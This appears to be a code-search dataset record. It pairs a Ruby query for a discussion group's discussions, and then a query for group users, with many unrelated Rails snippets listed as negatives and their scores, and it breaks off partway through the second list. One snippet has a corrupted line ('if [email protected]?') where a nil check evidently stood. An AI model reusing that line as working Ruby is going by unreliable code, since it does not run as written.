Discussion.find_by_sql(["Select d.* from (discussion_group_discussions dgd LEFT JOIN discussions d ON d.id=dgd.discussion_id)
Where (dgd.discussion_group_id=? and d.share_type=?) ORDER BY dgd.created_at DESC LIMIT ? OFFSET ?", self.id, "groups", per_page, off])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def discussions(**params)\n client.model(:get, \"/live/#{read_attribute(:id)}/discussions\", params)\n end",
"def list\n @list ||= begin\n drequest = {\n where: {owner_id: owner.id},\n colonnes: []\n }\n dbtable_frigo_discussions.select(drequest).collect do |hdis|\n dbtable_frigo_messages.count(where:{discussion_id: hdis[:id]}) > 0 || next\n Frigo::Discussion.new(hdis[:id])\n end.compact\n end\n end",
"def discussions\n @discussions ||= Discussions.new(self.owner)\n end",
"def discussion(id)\n db = connect()\n return [db.execute('SELECT discussions.*, users.Username FROM discussions INNER JOIN users ON discussions.UserId = users.Id WHERE discussions.Id=?', id), \n db.execute('SELECT posts.*, users.Username FROM posts INNER JOIN users ON posts.userId = users.Id WHERE posts.DiscId=?', id)]\n end",
"def unread_discussions\n discussions.find_unread_by(self)\n end",
"def get_discussing_users(group_id)\n list_discussion_topics = HTTParty.get(\n \"#{$canvas_url}/api/v1/groups/#{group_id}/discussion_topics\",\n headers: { \"authorization\" => \"Bearer #{$canvas_token}\" }\n )\n\n discussion_data = list_discussion_topics.parsed_response\n discussion_id = nil\n\n discussion_data.each do |discussion_info|\n discussion_id = discussion_info[\"id\"]\n end\n\n list_discussion_entries = HTTParty.get(\n \"#{$canvas_url}/api/v1/groups/#{group_id}/discussion_topics/#{discussion_id}/entries\",\n headers: { \"authorization\" => \"Bearer #{$canvas_token}\" }\n )\n\n discussion_entries_data = list_discussion_entries.parsed_response\n arr_of_discussing_user_ids = Array.new\n\n discussion_entries_data.each do |discussion_entries_info|\n arr_of_discussing_user_ids.push discussion_entries_info[\"user_id\"]\n end\n\n return arr_of_discussing_user_ids\nend",
"def group_users\n DiscussionGroupUser.where(\"discussion_group_id=? AND is_member=?\", self.id, true)\n end",
"def load_more_groups\n @search_text = params[:search_text]\n @discussion_groups = @login_user.find_public_groups(params[:search_text], params[:page].to_i)\n end",
"def search_groups\n @search_text = params[:search_text]\n @discussion_groups = @login_user.find_public_groups(params[:search_text], 1) if !params[:search_text].nil?\n end",
"def index\n @discussions = @issue.discussions.all\n end",
"def discussion\n Comment.where(\"article_id = ?\", id)\n end",
"def index\n @groupreplies = Groupreply.where(\"groupmessage_id = ?\", params[:groupmessage_id])\n end",
"def show\n @discussions = @forum.all_discussions\n end",
"def show\n# @discussion.replies.paginate(page: params[:page], per_page: 10)\n \n @discussions = @forum.discussions.paginate(page: params[:page], per_page: 10)\n @discussion = Discussion.new\n end",
"def index\n @discussions = Discussion.all\n end",
"def index\n @discussions = Discussion.all\n end",
"def set_discussion\n @discussion = Discussion.includes(:posts, :likes).find(params[:id])\n end",
"def discussion(number)\n commit_discussion(number) +\n issue_discussion(number)\n end",
"def replies\n Reply.where(:discussion_id => id).order('created_at ASC')\n end",
"def get_discussions\n @query_url = params[:url]\n\n # ALWAYS remove trailing slash before get_response calls\n @query_url.chop! if @query_url.end_with?('/')\n\n # checks for specific version number, < 3 skips slashdot\n @api_version = 2 if params[:version] == '2'\n results = {}\n\n # caching discussit API calls\n discuss_it = DiscussIt::DiscussItApi.cached_request(@query_url, @api_version)\n\n @top_raw ||= discuss_it.find_top\n @all_raw ||= discuss_it.find_all.all\n\n @top_results, filtered_top_results = DiscussIt::Filter.filter_threads(@top_raw)\n @all_results, filtered_all_results = DiscussIt::Filter.filter_threads(@all_raw)\n\n @filtered_results = (filtered_all_results + filtered_top_results).uniq\n\n results = {\n total_hits: total_hits_count,\n top_results: {\n hits: top_hits_count,\n results: @top_results\n },\n all_results: {\n hits: all_hits_count,\n results: @all_results\n },\n filtered_results: {\n hits: filtered_hits_count,\n results: @filtered_results\n }\n }\n\n render json: results\n end",
"def index\n @mdl_forum_discussions = MdlForumDiscussion.all\n end",
"def latest_discussions(num=nil)\n Discussion.latest_for_category(self, num)\n end",
"def groupchats\n @groupchat = []\n @group_comments = GroupComment.all\n @group_comments.each { |comment|\n if (comment.studygroup_id == group_comment_params[:studygroup_id].to_f)\n @groupchat.push(comment)\n end\n }\n render json: @groupchat\n end",
"def showmine\n @title = \"Discussion\"\n @subtitle = \"show mine\"\n student_id = get_user_student.id\n # @discussions = get_user_student.discussions It is not order by\n @discussions = Discussion.find(:all, :conditions => [\"student_id = ?\", student_id], :order => 'created_at desc')\n end",
"def show_comments\r\n @comments = Comment.find_by_sql(\"select * from comments where subject_id order by created_at DESC\")\r\n @replies = []\r\n @comments.each do|c| \r\n Comment.find_all_by_reply(c.id).each do|r|\r\n @replies << r\r\n end\r\n end \r\n end",
"def load_group_discussions_on_scroll\n @discussion_group = DiscussionGroup.find(params[:id])\n if @login_user.is_member_of_discussion_group(params[:id].to_i) || @discussion_group.is_public\n @discussions = @discussion_group.all_group_discussions(params[:page].to_i)\n render :partial => \"discussion_groups_discussion_block\", :locals => {:discussions => @discussions }\n end\n end",
"def index\n @discussions = Discussion.order('updated_at DESC').includes(:posts).all\n end",
"def index\n @discussions = Discussion.where(course: @course)\n end",
"def index\n @project = Project.find(params[:project_id])\n @discussions = @project.discussions.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @discussions }\n end\n end",
"def show\n @discussion_group = DiscussionGroup.find(params[:id])\n if @login_user.is_member_of_discussion_group(params[:id].to_i) || @discussion_group.is_public\n @discussions = @discussion_group.all_discussions\n respond_to do |format|\n format.html # show.html.erb\n #format.xml { render :xml => @discussion_group }\n end\n else\n redirect_to @login_user.profile_path\n end\n end",
"def index\n @discussions = @project.discussions\n\n respond_to do |format|\n format.html\n format.api\n end\n end",
"def latest_discussion\n latest_discussions(1).first\n end",
"def index\n if current_user.has_role? :admin\n @discussions = Discussion.all\n else\n @classroom = Classroom.find(session[:classroom_id])\n @discussions = Discussion.where(end_at: nil, is_ready: true, classroom_id: @classroom.id)\n @not_ready_discussions = Discussion.where(end_at: nil, is_ready: false)\n end\n end",
"def index\n @discussions = Discussion.all.sorted\n @discussion = current_user.discussions.new\n\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def notifications\n Group.find_by_sql(\"\n SELECT * FROM (\n SELECT * FROM(\n SELECT u.id, u.name, '0' sp_id, u.bio info, gu.updated_at, 'new_user' type\n FROM users u, group_users gu\n WHERE u.id = gu.user_id AND gu.group_user_state_id = 1 AND gu.group_id = \"+self.id.to_s+\"\n ORDER BY gu.updated_at DESC \n LIMIT 35) NUEVOS_USUARIOS\n UNION ALL\n SELECT * FROM(\n SELECT s.id, s.sci_name name, '0' sp_id, s.family info, sg.updated_at, 'new_species' type\n FROM species s, species_groups sg\n WHERE sg.species_id = s.id AND sg.species_group_state_id = 1 AND sg.group_id = \"+self.id.to_s+\"\n ORDER BY sg.updated_at DESC \n LIMIT 35) NUEVAS_ESPECIES\n UNION ALL\n SELECT * FROM(\n SELECT u.id, u.name, s.id sp_id, s.sci_name info, r.updated_at, 'review' type\n FROM users u, species s, reviews r, models m, group_users gu, species_groups sg\n WHERE u.id = r.user_id AND u.id = gu.user_id AND m.id = r.model_id AND s.id=m.species_id AND s.id = sg.species_id AND gu.group_user_state_id = 1 AND sg.species_group_state_id = 1 AND gu.group_id = \"+self.id.to_s+\" AND sg.group_id = \"+self.id.to_s+\"\n ORDER BY sg.updated_at DESC\n LIMIT 35) NUEVA_EDICION\n )\n ORDER BY updated_at DESC\n LIMIT 35\")\n end",
"def create_multiple_discussion\n host_port = request.host_with_port\n session[:current_images] = (0...8).map{65.+(rand(25)).chr}.join unless session[:current_images]\n @disc_error = @login_user.add_multiple_discussion?(params[:discussion],session[:current_images])\n if @disc_error.class.to_s == \"Discussion\" || @disc_error.class.to_s == \"UserDiscussion\"\n @discussion = @disc_error.class.to_s == \"Discussion\" ? @disc_error : @disc_error.discussion\n @message = \"Discussion posted sucessfully.\"\n else\n @message = @disc_error\n end\n if [email protected]?\n @message = \"Discussion posted sucessfully.\"\n\n if @discussion.share_type == \"groups\"\n @dgd = DiscussionGroupDiscussion.new(:discussion_group_id=>params[:posted_to].to_i,:discussion_id=>@discussion.id)\n @message = @dgd.save ? \"Discussion posted sucessfully.\" : \"Discussion already exists.\"\n group_members = @dgd.discussion_group.discussion_group_users.where(\"user_id!=#{@login_user.id}\")\n group_members.each do |group_member|\n Notifier.delay.mail_to_group_member(group_member.user.email, @login_user.username, host_port, group_member.discussion_group.name, @discussion) unless @login_user.is_follower?(group_member.user_id)\n end if @dgd.save && @dgd.discussion_group.is_public == false\n\n @dgd.discussion_group.non_site_users.where(:invitation_type=>\"Added\").each do |group_member|\n NonSiteUser.create(:invitable_id=>@discussion.id, :invitable_type=>\"Discussion\", :invitation_type=>\"Invited\", :email=>group_member.email)\n Notifier.delay.mail_to_nsu_on_disc(group_member.email, @login_user.username, host_port, @discussion,group_member.id) if @dgd.discussion_group.is_public != true\n #Notifier.mail_to_private_group_user(group_member.email, @login_user.username, host_port, @dgd.discussion_group.name).deliver if @dgd.discussion_group.is_public != true\n end if @dgd.save && @dgd.discussion_group.is_public == false\n end\n end\n # @discuss = Discussion.new(:title => \"title\", :discussion => \"discussion\", :discussion_type => \"Picture\", :share_type => \"#{session[:current_images]}\")\n user_discussion = @disc_error.user_discussions.build\n user_discussion.user_id = @login_user.id\n @picture = @disc_error.images.build(:photo => params[:picture][:path], :details => \"Discussion Picture\", :user_id => @login_user.id)\n if @disc_error.save\n respond_to do |format|\n format.html { #(html response is for browsers using iframe sollution)\n render :json => [@picture.to_jq_upload].to_json,\n :content_type => 'text/html',\n :layout => false\n }\n format.json {\n render :json => [@picture.to_jq_upload].to_json\n }\n end\n else\n render :json => [{:error => \"custom_failure\"}], :status => 304\n end\n end",
"def find_groups\n @groups ||= Group.find(:all)\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GetDiscussionResultSet.new(resp)\n return results\n end",
"def index\n @discussion_groups = @login_user.all_public_private_groups\n respond_to do |format|\n format.html # index.html.erb\n # format.xml { render :xml => @discussion_groups }\n end\n end",
"def find_by_id!(id)\n discussion = new(one.find_by_id(id) || raise(RecordNotFound, \"Unable to find a discussion for #{id}.\"))\n discussion.load_comments\n discussion\n end",
"def groups()\n id_list = SQLQuery.new.get('groups_handler', ['group_id']).where.if('user_id', @id).send\n groups_list = []\n id_list.each do |id|\n groups_list << Groupchat.get(id['group_id'])\n end\n return Sorter.last_interaction(groups_list)\n end",
"def index\n @group_comments = GroupComment.all\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def read\n @discussion = current_user.discussions.find(params[:id])\n @discussion && @discussion.read_by!(current_user)\n @discussion.comments.each do |comment|\n comment.read_by!(current_user) unless comment.read_by?(current_user)\n end\n render :nothing => true\n end",
"def index\n @discussions = Discussion.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @discussions }\n end\n end",
"def create_group_discussion(group, discussion)\n logger.info \"Creating group discussion topic named '#{discussion.title}'\"\n navigate_to \"#{Utils.canvas_base_url}/groups/#{group.site_id}/discussion_topics\"\n enter_and_save_discussion discussion\n end",
"def set_discussion\n @discussion = @issue.discussions.find(params[:discussion_id])\n end",
"def group_album\n @discussion_group = DiscussionGroup.find(params[:id])\n if @login_user.is_member_of_discussion_group(params[:id].to_i) || @discussion_group.is_public\n @pictures = Image.find_by_sql([\"SELECT DISTINCT i.* FROM discussion_group_discussions dgd\n\t\t\t\t\t LEFT JOIN discussions d on dgd.discussion_id = d.id\n\t\t\t\t\t LEFT JOIN comments c on dgd.discussion_id = c.discussion_id\n\t\t\t\t\t LEFT JOIN images i ON (imageable_id = dgd.id AND imageable_type = 'DiscussionGroup')\n\t\t\t\t\t OR (imageable_id = d.id AND imageable_type = 'Discussion')\n\t\t\t\t\t OR (imageable_id = c.id AND imageable_type = 'Comment')\n \t\t\t\t\tWHERE i.id IS NOT NULL AND dgd.discussion_group_id =? \",params[:id].to_i])\n else\n redirect_to @login_user.profile_path\n end\n end",
"def index\n #@discussions = Discussion.where(:owner => nil).order(\"created_at DESC\")\n\t@discussions = Discussion.joins(:comments).\n\t\t\t\t\tselect('discussions.*, count(comments.id) as comments_count').\n\t\t\t\t\twhere(\"discussions.owner IS NULL\").\n\t\t\t\t\tgroup(\"discussions.id\").\n\t\t\t\t\torder('comments_count DESC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @discussions }\n end\n end",
"def sub_issues\n MatterIssue.all(:conditions => [\"parent_id = ?\", self.id])\n end",
"def index\n @conversations = @group.conversations\n end",
"def index\n @discussioms = Discussiom.all\n end",
"def call\n all_private_conversations = Private::Conversation.all_by_user(@user.id)\n .includes(:messages)\n all_group_conversations = @user.group_conversations.includes(:messages)\n all_conversations = all_private_conversations + all_group_conversations\n\n ##filtered_conversations = []\n\n ##all_conversations.each do |conv|\n ## empty_conversations << conv if conv.messages.last\n ##end\n\n ##filtered_conversations = filtered_conversations.sort{ |a, b|\n ## b.messages.last.created_at <=> a.messages.last.created_at\n ##}\n\n return all_conversations\n end",
"def show\n @project = Project.find(session[:current_project])\n @discussion = @project.discussions.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @discussion }\n end\n end",
"def all_comments_count(discussion)\n Comment.count(:all, :conditions=>[\"discussion_id=?\", discussion])\n end",
"def all_talks\n Talk.all_talks(id)\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = CreateDiscussionResultSet.new(resp)\n return results\n end",
"def read\n @admin_discussion = AdminDiscussion.find(params[:id])\n @admin_discussion.read_by!(current_user)\n @admin_discussion.discussionable.read_by!(current_user)\n render :nothing => true\n end",
"def get_conversations(url, kind='public', check=nil)\n dputs __method__.to_s\n messages_req = setup_http_request($messages, @cookie, {:url => url})\n res = @http.request(messages_req)\n body = CGI.unescapeHTML(res.body.force_encoding('utf-8').gsub(\"<br />\", \"\"))\n if kind == 'public'\n lastindex = body.index('Questions sur les autres portions du trajet')\n if lastindex\n body = body[0..lastindex]\n end\n trip_date = body.scan(/<strong class=\"RideDetails-infoValue\">\\s*<i class=\"bbc-icon2-calendar\" aria-hidden=\"true\"><\\/i>\\s*<span>\\s*(.*)\\s*/).flatten.first\n else # 'private'\n trip = body.scan(/<a href=\"\\/trajet-[^\"]*\" rel=\"nofollow\">\\s*(.*)\\s*<\\/a>/).flatten.first\n trip, trip_date = trip.split(\",\")\n end\n # looking for uniq value for each discussion (url to respond to)\n urls = body.scan(/<form id=\"qa\"\\s*class=\"[^\"]*\"\\s*action=\"(\\/messages\\/send\\/[^\"]*)\"\\s*method=\"POST\"/).flatten\n ret = Array.new\n # to be TESTED\n indexes = Array.new\n last = nil\n urls.map{|u| indexes << body.index(u)}\n indexes.each_slice(2).map{|id1,id2|\n if last\n body[last..id1]\n end\n if not id2\n body[id1..-1]\n else\n body[id1..id2]\n last = id2\n end\n }\n # end of the TESTED part\n u = 0\n urls.map{|t|\n ind = body.index(t)+2000\n body_ = body[u..ind]\n u = ind\n token = body_.scan(/message\\[_token\\]\" value=\"([^\"]*)\" \\/>/).flatten.first\n encrypted_id = body.scan(/name=\"message\\[recipient_encrypted_id\\]\" value=\"([^\"]*)\"/).flatten\n users = body_.scan(/<a href=\"\\/membre\\/profil\\/[^\"]*\"><img class=\"[^\"]*\" title=\"([^\"]*)\" alt=\"[^\"]*\"/).flatten\n msg_hours = body_.scan(/<time class=\"Speech-date\" datetime=\"[^\"]*\">([^<]*)<\\/time>/).flatten\n trip, trip_date = body_.scan(/<div class=\"header-thread\">\\s*<h3>\\s*Covoiturage de ([^,]*), (.*)\\s*<span/).flatten\n msgs = body_.scan(/<\\/h4>\\s*<p>\"([^\"]*)\"<\\/p>/).flatten\n msg_hours = body_.scan(/<p class=\"msg-date clearfix\">\\s*([^<]*)\\s*</).flatten.map{|m| m.strip.chomp}\n tmp = {:msg_user => users.first, :url => t, :token => token, :encrypted_id => encrypted_id.first, :trip_date => trip_date, :trip => trip}\n tmp[:msgs] = []\n 0.upto(msgs.length-1).map{|id|\n # When the current user has already responded\n if users[id].include?(@current_user)\n # d = \"[%s] %s\" % [msg_hours[id], msgs[id].split(\":\").first]\n # d.strip!\n if check\n m = msgs[id].split(\":\")[1..-1].join(\":\")\n ret << m.strip!\n end\n else\n if not check\n #ret << {:msg_user => users[id], :msg => {:msg_date => msg_hours[id], :msg => msgs[id].gsub(\"\\r\\n\", ' ').gsub(\"\\n\", \" \"), :trip => trip, :trip_date => trip_date, :url => t, :token => token}\n next if msgs[id] == nil\n tmp[:msgs] << {:msg_date => msg_hours[id], :msg => msgs[id].gsub(\"\\r\\n\", ' ').gsub(\"\\n\", \" \")}\n end\n end\n }\n ret << tmp\n }\n ret\n end",
"def get_threaded_discussions(course_id, use_source_domain = false)\r\n if !use_source_domain\r\n relative_url = PATH_COURSES_THREADEDDISCUSSIONS % [course_id]\r\n else\r\n relative_url = PATH_COURSES_THREADEDDISCUSSIONS_USESOURCEDOMAIN % [course_id]\r\n end\r\n\r\n get(relative_url)\r\n end",
"def groups\n find_groups if @groups.nil?\n @groups\n end",
"def edit_discussion(params, userid)\n db = connect()\n disk = db.execute('SELECT * FROM discussions WHERE Id=? AND UserId=?', params[\"id\"], userid)\n if disk != []\n return disk.first\n else\n return false\n end\n end",
"def isDiscussion\r\n\t\t\t\t\treturn @isDiscussion\r\n\t\t\t\tend",
"def list\n @review_groups = ReviewGroup.find(:all, :order => 'name')\n end",
"def get_conference_list()\n u='http://blog.sphereinc.com/2010/08/13-upcoming-ruby-and-rails-conferences-you-dont-want-to-miss'\n doc=Hpricot(open(u))\n recs=[]\n (doc/\"//div[@id='post-216']/div/p/strong\").entries.each_with_index{|e,i| \n h={} \n e.inner_text.split(\"\\n\").each{|d|\n p=d.split(':')\n unless [nil,''].include?(p[0]) or [nil,''].include?(p[1])\n # puts \">>#{p[0].strip} = #{p[1].strip}<<\"\n h[p[0].strip]= p[1].strip \n end\n }\n recs << h\n }\n recs\nend",
"def discussion_params\n params.require(:discussion).permit(:group_id, :title, messages_attributes: [:commoner_id, :body])\n end",
"def groups\n find(:group).map { |g| g.content }\n end",
"def raters\n users = User.raters(self.id, \"Discussion\")\n end",
"def replies\n Reply.find_by_question_id(@id)\n end",
"def inbox\n @title = \"Conversaciones del grupo \" + @previa_group.name\n @chats = GetChatsForPreviaGroup.call(@previa_group)\n end",
"def show\n @discussion = Discussion.includes(:user, { :comments => :user }).find(params[:id])\n @comments = @discussion.comments.paginate page: params[:page]\n @comment = @discussion.comments.build\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @discussion }\n end\n end",
"def get_full_topic_groups(group_id,topic_id,opts={})\n query_param_keys = [\n \n ]\n\n form_param_keys = [\n \n ]\n\n # verify existence of params\n raise \"group_id is required\" if group_id.nil?\n raise \"topic_id is required\" if topic_id.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :group_id => group_id,\n :topic_id => topic_id\n )\n\n # resource path\n path = path_replace(\"/v1/groups/{group_id}/discussion_topics/{topic_id}/view\",\n :group_id => group_id,\n :topic_id => topic_id)\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_params(options, query_param_keys)\n if opts[:next_page]\n pagination_params = page_params_load(:get, path)\n query_params.merge! pagination_params if pagination_params\n end\n response = mixed_request(:get, path, query_params, form_params, headers)\n page_params_store(:get, path)\n response\n \n end",
"def replies\n Reply.find_by_question_id(self.id)\n end",
"def groups\n FfcrmMailchimp::Group.groups_for(id)\n end",
"def find_comment_replies\n assert_not_nil @rdigg.stories.find_comment_replies(\"7987660\", \"65434\")\n end",
"def groups\r\n @groups ||= fetch_groups\r\n end",
"def index\n session[:page] = 'index'\n @talks=[]\n @parent_ids = []\n @talks << Talk.last(1)\n @talks << Talk.order('id DESC').limit(31).where('topic LIKE ? or topic LIKE ?', '%嗎%', '%呢%').sample(1)\n hour_groups = [1, 2, 4, 8]\n hour_groups.each {|t| @talks << Talk.where(created_at: Time.now-t.hour-1.hour..Time.now-t.hour).order(id: :desc).sample(1)}\n\n day_groups = [1.day, 2.day, 4.day, 1.week]\n # , 2.week, 1.month, 3.month, 6.month, 1.year]\n day_groups.each {|t| @talks << Talk.where(created_at: Time.now-t-1.day..Time.now-t).order(id: :desc).sample(3)}\n\n @shiritori_last = Talk.last[:topic].split('').last\n end",
"def get_group_chat\n\t \tp\"------get_group_chat----#{params.inspect}-----------\"\n \t\t@sender = User.find_by(id: params[:sender_id])\n\t\t@group = Group.find_by(id: params[:assoc_id])\n\t\t@group_owner = @group.user_id\n\t\tgroup_member_ids = @group.group_memberships.pluck(:user_id) << @group_owner\n\t if @group.present?\n\t\t # @room = Room.where(\"(sender_id = ? and assoc_id = ? and is_group = ?) or (sender_id = ? and assoc_id = ? and is_group = ?) \", @sender.id,@group.id,true,@group.id,@sender.id,true).first\n\t\t\t@room = Room.where(\"(assoc_id = ? and is_group = ?) \", @group.id,true).first\n\t \tif @room.nil?\n\t\t\t @room = Room.create(:sender_id => params[:sender_id],:assoc_id => @group.id, :is_group => TRUE )\n\t\t\tend\n\t \t@chats = Message.where(\"(assoc_id = ? and is_group = ? )\",@group.id, true).order(:created_timestamp)\n\t\t array = Array.new\n\t\t @chats.each do |chat|\n\t\t read_by = chat.read_by\n\t\t\t read_by << params[:sender_id].to_s unless read_by.include?(params[:sender_id].to_s)\t\n\t\t\t chat.update(read_by: read_by)\n\t\t\t hash = {}\n\t\t\t hash[:id] = chat.id\n\t\t\t chat.body == nil ? hash[:body] = chat.image.url : hash[:body] = chat.body\n\t\t\t hash[:username] = User.find_by_id(chat.sender_id).username\n\t\t\t hash[:upload_type] = chat.upload_type\t\t \n\t\t \t\tp \"=============UPLOAD TYPE==========#{chat.upload_type.inspect}==================================\"\n\t\t\t hash[:is_user_sender] = (chat.sender_id == @sender.id )? true :false\n\t\t\t hash[:created_timestamp] = chat.tstamp\n\t\t\t array << hash\n\t\t\tend\n\t\t render :json => {:response_code => 200,\n\t :response_message => \"Chats fetched Successfuly.\",\n\t :room_id => @room.id,\n\t\t\t :group_member_ids => group_member_ids,\n\t\t\t :group_img => @group.group_image,\n\t :name => @group.group_name,\n\t :user_info => array\t\t\t\t\t \n\t }\n else\n \t\trender_message 500, \"Group does not exist.\"\n end\n end",
"def list\n @groups = Group.find(:all, :order => 'name')\n end",
"def show\n @conversations = @group.post_conversations.paginate(page: params[:page], per_page: 10)\n @conversation = Conversation.new\n end",
"def listgroups(msg, ent, ii, depth)\r\n ent.each do |bit|\r\n next unless bit.is_a?(Sketchup::Group)\r\n bname = bit.name.empty? ? 'no name' : bit.name\r\n spacer = ' ' * depth\r\n msg += spacer + ii.to_s + ' - ' + bname + \"\\n\"\r\n msg = listgroups(msg, bit.entities, ii, depth + 1)\r\n end\r\n msg\r\n end",
"def set_discuss\n @discuss = @topic.discusses.friendly.find(params[:id])\n end",
"def show\n @messages = @discussion.messages.where(\"discussion_id = ?\", @discussion.id).order(created_at: :asc).last(5)\n @messages_count = @discussion.messages.count\n end",
"def replies\n Post.where(\"topic_id = ?\", self.id).order(\"created_at asc\")\n #Post.find_all_by_topic_id(self.id).order(\"created_at desc\")\n end",
"def show\n @group = Group.find(params[:id])\n @groupphoto_comments = Comment.find_groupphoto_comments_for(@group) \n @groupphotos = @group.groupphotos.find(:all, :limit => 5)\n \n @comments = @group.comments.find(:all, :limit => 10, :order => 'created_at DESC')\n @groups_comments = Comment.find_group_comments_for(@group)\n \n if @group.owner == current_user\n @is_group_owner = true\n else\n @is_group_owner = false\n end\n\n @member_count = @group.accepted_memberships.count\n @accepted_memberships = @group.accepted_memberships.find(:all, :limit => 5).collect{|f| f.member }\n @pending_memberships_count = @group.pending_memberships.count()\n\n update_view_count(@group) unless @group.owner && current_user.eql?(@group)\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def muscle_groups_on_given_day(date)\n # exercise_name = self.exercise_on_a_day(date)\n\n\n my_workouts = Workout.all.select do |workout|\n workout[\"user_id\"] == self[\"id\"]\n end\n \n # find where date == workout date\n workouts_for_date = my_workouts.find_all do |workouts|\n workouts[\"date\"] == date\n end.map {|workout_instance| workout_instance.exercise_id}\n \n exercise_array = []\n muscle_groups = workouts_for_date.each do |exercise|\n Exercise.all.each do |exercise_instances|\n exercise_array << exercise_instances.muscle_group if (exercise_instances.id == exercise)\n end\n end\n \n if exercise_array == []\n \n return \"Sorry. Doesn't look like you worked out on #{date}.\".colorize(:light_cyan)\n else\n \n exercise_array\n end\n\n end",
"def new\n @project = Project.find(params[:project_id])\n @discussion = @project.discussions.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @discussion }\n end\n end",
"def index\n @questions = Question.where(group_id: params[:group_id])\n end",
"def questions_for_group group\n questions.select{|question|question.meta_attribute_entity_group==group}\n end",
"def get_digest(wiki, to_group_by = 'day')\n to_group_by = to_group_by.to_sym\n up_to_date = to_group_by == :day ? Time.now.beginning_of_day : Time.now.beginning_of_week\n all_comments = WikiComment.find :all, :include => :user, :limit => 40, :order => \"created_at DESC\",\n :conditions => [\"wiki_id = ? AND created_at < ?\", wiki.id, up_to_date]\n fake_comments = []\n all_comments.group_by(&to_group_by).each do |day, comments|\n fake_comments << WikiComment.new( :created_at => day,\n :title => \"#{to_group_by == :day ? 'Daily' : 'Weekly'} Digest for #{day.strftime('%m/%d/%Y')}\",\n :body => comments.map(&:to_html).join(\"\\n\"),\n :user_id => comments.first.user_id )\n end\n fake_comments\n end",
"def index\n @discussions = Discussion.includes(:user)\n .order('updated_at DESC')\n .paginate(page: params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @discussions }\n end\n end"
] |
[
"0.7102656",
"0.6927338",
"0.6857437",
"0.67227334",
"0.67005783",
"0.6605562",
"0.653508",
"0.6488578",
"0.6470569",
"0.64188945",
"0.638123",
"0.6293409",
"0.62651056",
"0.615577",
"0.60814506",
"0.60814506",
"0.60246414",
"0.60214883",
"0.60193706",
"0.5980517",
"0.5925608",
"0.59234613",
"0.5870243",
"0.58199275",
"0.58118355",
"0.5796012",
"0.5785667",
"0.5732188",
"0.57110906",
"0.570409",
"0.56969947",
"0.5682021",
"0.56625104",
"0.5648871",
"0.5631942",
"0.5631942",
"0.5614075",
"0.56074286",
"0.55603147",
"0.55484545",
"0.5533087",
"0.5532992",
"0.5519658",
"0.55187774",
"0.5515032",
"0.5515032",
"0.5515032",
"0.5515032",
"0.5515032",
"0.5515032",
"0.5515032",
"0.5515032",
"0.5514304",
"0.5510185",
"0.55100906",
"0.54922056",
"0.5479175",
"0.54257786",
"0.5423715",
"0.54166114",
"0.5415173",
"0.54032284",
"0.53881294",
"0.5366604",
"0.5363567",
"0.5356517",
"0.5348904",
"0.53293014",
"0.5329172",
"0.53244746",
"0.53213084",
"0.5290257",
"0.5287218",
"0.52809256",
"0.52695817",
"0.5264269",
"0.525",
"0.5247888",
"0.5245206",
"0.52393866",
"0.5228481",
"0.52114856",
"0.5208474",
"0.5206814",
"0.5205021",
"0.5204709",
"0.5183672",
"0.5180289",
"0.51748824",
"0.51739204",
"0.515521",
"0.5153691",
"0.515285",
"0.5147581",
"0.5145109",
"0.514338",
"0.514255",
"0.51341087",
"0.51315075",
"0.51243496"
] |
0.747567
|
0
|
Created by: Satish Zol Created on: 06/03/2012 Purpose: ++ This method is used to find all group users
|
def group_users
DiscussionGroupUser.where("discussion_group_id=? AND is_member=?", self.id, true)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def users\n Ecore::User.where(\"group_ids LIKE '%#{id}%'\").all\n end",
"def find_user_groups\r\n user_group = Group.where(\"id IN (SELECT gu.group_id FROM groups_users gu WHERE gu.user_id = ?)\", User.current.id).all\r\n group_names = []\r\n user_group.each do |group|\r\n group_names << group.lastname\r\n end\r\n return group_names\r\n end",
"def users\n Ecore::User.find(@user_id, :group_ids.like(\"%#{@id}%\")).receive(:all)\n end",
"def show_Users\n theUsers = User.select{ |user| user.group_id == self.id}\n theUsers\n end",
"def users\n GroupMembers.new(:id => id).get.items\n end",
"def getUsersForGroup(group_id)\n self.class.get(\"users/user/_search?q=group_id:#{group_id}\")\n end",
"def list_users\n group_id_param = params[:group_id]\n\n if group_id_param.nil? || group_id_param.blank?\n render json: { error: 'group_id not specified.' }, status: :bad_request\n return\n end\n\n group = CanvasSpaces.GroupCategory.groups.find_by_id(group_id_param)\n if group.nil?\n render json: { error: 'No such group found.' }, status: :bad_request\n else\n if @current_user.account.site_admin? || group.leader_id == @current_user.id\n render json: { size: group.users.count, users: group.users.map { |user| user.as_json(only: [:id, :name], include_root: false) } }, status: :ok\n else\n # doesn't have access to the group\n render json: { error: \"Can't list users. Not owner.\" }, status: :forbidden\n end\n end\n end",
"def users_list\r\n @users_list = User.order_by_asc('name').find(:all, :conditions => [\"group_id <> ?\", Group.get_guest.id])\r\n if params[:users]\r\n @users_list = User.get_user_list params\r\n end\r\n end",
